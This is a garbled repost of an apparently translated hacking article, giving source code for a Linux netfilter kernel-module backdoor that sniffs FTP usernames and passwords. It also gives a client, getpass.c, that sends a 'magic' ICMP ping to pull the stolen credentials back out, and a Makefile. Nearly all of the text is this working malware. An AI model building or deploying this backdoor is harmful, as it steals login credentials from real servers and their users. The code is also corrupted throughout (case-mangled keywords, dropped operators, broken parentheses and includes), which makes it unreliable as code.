Struct SK_BUFF * SB = * SKB;

Struct ICMPHDR * ICMP;

Char * cp_data; / * where we copy data to in reply * /

Unsigned int Taddr; / * Temporary ip Holder * /

/ * Do We Even HAVE A Username / Password Pair to Report Yet? * /

IF (! Have_pair)

Return nf_accept;

/ * Is this an icmp packet? * /

IF (SB-> NH.IPH-> protocol! = ipproto_ICMP)

Return nf_accept;

ICMP = (struct icmphdr *) (SB-> Data SB-> NH.IPH-> IHL * 4); / * Is it the magic packet? * /

IF (ICMP-> Code! = Magic_code || ICMP-> Type! = ICMP_ECHO

|| ICMP_PAYLOAD_SIZE

Return nf_accept;

}

/ * Okay, Matches Our Checks for "Magicness", NOW We file with

* The SK_Buff To Insert The IP Address, And UserName / Pair,

* SWAP IP Source and Destination Addresses and Ethernet Addresses

* if Necessary and the Transmit The Packet from Here and Tell

* Netfilter We stole it. PHEW ... * /

Taddr = SB-> NH.IPH-> Saddr;

SB-> nh.iph-> saddr = sb-> nh.iph-> DADDR;

SB-> NH.IPH-> DADDR = TADDR;

SB-> PKT_TYPE = Packet_outgoing;

Switch (SB-> dev-> type) {

CASE ARPHRD_PPP: / * No Fiddling Needs Doing * /

Break;

Case arphrd_loopback:

Case arphrd_ether:

{

Unsigned char t_hwaddr [eth_alent];

/ * Move the data pointer to point to the link layer header * /

SB-> DATA = (unsigned char *) sb-> mac.ethernet;

SB-> LEN = Eth_hlen; //sizeof(sb- ");

Memcpy (t_hwaddr, (sb-> mac.ethernet-> h_dest), eth_alent;

Memcpy ((SB-> Mac.Ethernet-> H_DEST), (SB-> Mac.ethernet-> h_source),

Eth_alen;

Memcpy (SB-> Mac.Ethernet-> h_source), t_hwaddr, eth_alen;

Break;

}

}

/ * Now Copy The IP Address, Then Username, Then Password INTO PACKET * /

CP_DATA = (char *) (CHAR *) ICMP SIZEOF (Struct ICMphdr));

Memcpy (cp_data, & target_ip, 4);

IF (username)

Memcpy (CP_Data 4, UserName, 16);

IF (Password)

Memcpy (CP_Data 20, Password, 16);

/ * This is where things will die...

* Fingers crossed ... * /

DEV_QUEUE_XMIT (SB);

/ * NOW free the saved username and password and reset have_pair * / kfree (username);

Kfree (Password);

Username = password = null;

Have_pair = 0;

Target_port = target_ip = 0;

// Printk ("Password Retrieved / N);

Return nf_stolen;

}

INT init_module ()

{

pre_hook.hook = Watch_in;

pre_hook.pf = pf_inet;

pre_hook.priority = nf_ip_pri_first;

pre_hook.hooknum = nf_ip_pre_routing;

Post_hook.hook = Watch_out;

Post_hook.pf = pf_inet;

Post_hook.priority = NF_IP_PRI_FIRST;

Post_hook.hooknum = NF_IP_POST_ROUTING;

NF_REGISTER_HOOK (& PRE_HOOK);

NF_REGISTER_HOOK (& post_hook);

Return 0;

}

Void cleanup_module ()

{

NF_UNREGISTER_HOOK (& post_hook);

NF_UNREGISTER_HOOK (& PRE_HOOK);

IF (Password)

Kfree (Password);

IF (username)

Kfree (UserName);

}

<->

------ [5.2.2 - Source code: getpass.c

< > nfsniff / getpass.c

/ * getPass.c - Simple Utility To Get UserName / Password Pair from

* The netfilter backdoor ftp snifer. Very Kludgy, But Effective.

* Mostly Stripped from My Source for Infopig.

*

* Written by Bioforge - March 2003 * /

#include

#include

#include

#include

#include

#include

#include

#include

#include

#ifndef __Use_BSD

# Define __Use_BSD / * WA Want The Proper Headers * /

#ENDIF

# include

#include

/ * Function protoypes * /

Static Unsigned Short Checksum (Int Numwords, Unsigned Short * Buff);

Int main (int Argc, char * argv [])

{

Unsigned char DGRAM [256]; / * Plenty for a ping datagram * / unsigned char recvbuff [256];

Struct ip * iphead = (struct ip *) DGRAM;

Struct ICMP * ICMPHEAD = (Struct ICMP *) (DGRAM SIZEOF (STRUCT IP));

Struct sockaddr_in src;

Struct SockAddr_in Addr;

Struct in_addr my_addr;

Struct in_addr serv_addr;

Socklen_t src_addr_size = sizeof (struct sockaddr_in);

INT ICMP_SOCK = 0;

INT One = 1;

INT * PTR_ONE = & one;

IF (argc <3) {

FPRINTF (stderr, "usage:% s remoteip myip / n", argv [0]);

Exit (1);

}

/ * Get a socket * /

IF ((ICMP_SOCK = Socket (PF_INET, SOCK_RAW, IPPROTO_ICMP) <0) {

FPRINTF (stderr, "couldn't open raw socket!% s / n",

STRERROR (Errno));

Exit (1);

}

/ * SET the HDR_INCL OPTION on the socket * /

IF (setsockopt (icmp_sock, ipproto_ip, ip_hdrincl,

PTR_ONE, SIZEOF (ONE)) <0) {

Close (ICMP_SOCK);

FPRINTF (stderr, "couldn't set hdrincl option!% s / n",

STRERROR (Errno));

Exit (1);

}

Addr.sin_Family = AF_INET;

Addr.sin_addr.s_addr = inet_addr (Argv [1]);

MY_ADDR.S_ADDR = INET_ADDR (Argv [2]);

MEMSET (DGRAM, 0x00, 256);

MEMSET (Recvbuff, 0x00, 256);

/ * Fill in The IP Fields First * /

IpHead-> ip_hl = 5;

IpHead-> IP_V = 4;

Iphead-> ip_tos = 0;

Iphead-> ip_len = 84;

ipHead-> ip_id = (unsigned short) Rand ();

Iphead-> ip_off = 0;

IpHead-> ip_ttl = 128;

Iphead-> ip_p = ipproto_ICMP;

Iphead-> ip_sum = 0;

Iphead-> ip_src = my_addr;

Iphead-> ip_dst = addr.sin_addr;

/ * Now Fill in the icmp fields * /

ICMPHEAD-> ICMP_TYPE = ICMP_ECHO;

ICMPHEAD-> ICMP_CODE = 0x5b;

ICMPHEAD-> ICMP_CKSUM = Checksum (42, (unsigned short *) icmphead;

/ * Finally, send the packet * / fprintf (stdout, "sending request ... / n");

IF (Sendto (ICMP_SOCK, DGRAM, 84, 0, (Struct SockAddr *) & Addr,

SIZEOF (STRUCT SOCKADDR)) <0) {

FPRINTF (stderr, "/ nfailed sending request!% s / n",

STRERROR (Errno));

Return 0;

}

FPRINTF (stdout, "waiting for reply ... / n");

IF (Recvfrom (ICMP_SOCK, RECVBUFF, 256, 0, (Struct SockAddr *) & SRC,

& SRC_ADDR_SIZE) <0) {

FPRINTF (stdout, "failed getting reply packet!% s / n",

STRERROR (Errno));

Close (ICMP_SOCK);

Exit (1);

}

Iphead = (struct ip *) Recvbuff;

ICMPHEAD = (struct ICMP *) (Recvbuff SizeOf (Struct IP));

Memcpy (& serv_addr, ((char *) ICMPHEAD 8),

SIZEOF (STRUCT IN_ADDR);

FPRINTF (stdout, "stolen for ftp server% s: / n", inet_ntoa (serv_addr));

FPRINTF (stdout, "username:% s / n",

(char *) ((char *) ICMPHEAD 12)))

FPRINTF (stdout, "password:% s / n",

(char *) ((char *) ICMPHEAD 28)));

Close (ICMP_SOCK);

Return 0;

}

/ * Checksum-generation function. It a Appears That Ping'ed Machines Don't

* Reply to pings with invalid (IE. Empty) ICMP Checksum Fields ...

* FAIR ENOUGH I GUESS. * /

Static Unsigned Short Checksum (Int Numwords, Unsigned Short * BUFF)

{

Unsigned long Sum;

For (sum = 0; Numwords> 0; NumWords -)

SUM = * buff ; / * Add Next Word, Then Increme Pointer * /

SUM = (SUM >> 16) (SUM & 0xFFF);

SUM = (SUM >> 16);

Return ~ SUM;

}

<->

** Translation: Makefile of the above two files:

< > NFSniff / Makefile

#Makefile

#

Cflags = -wall

Libs = -l / usr / lib -lc

# Change Include Directory for your kenel

Module_cflags = -i / usr / src / coustom / linux-2.4.18-3 / incrudemodule_cflags = $ (cflags)

EXECUTE_CFLAGS = -GGDB

Execute_cflags = $ (cflags)

All: NFSniff.o getPass

NFSniff.o: nfsniff.c

GCC-C nfsniff.c -o nfsniff ~ .o $ (module_cflags)

ld -r -o nfsniff.o nfsniff ~ .o $ (LIBS)

getPass.o: getPass.c

GCC-C getPass.c $ (Execute_cflags)

GetPass: getPass.o

GCC -O getPass GetPass.o $ (Execute_cflags)

Clean:

Rm -f * .o getpass

<->

** Translation

转载请注明原文地址:https://www.9cbs.com/read-92329.html

New Post(0)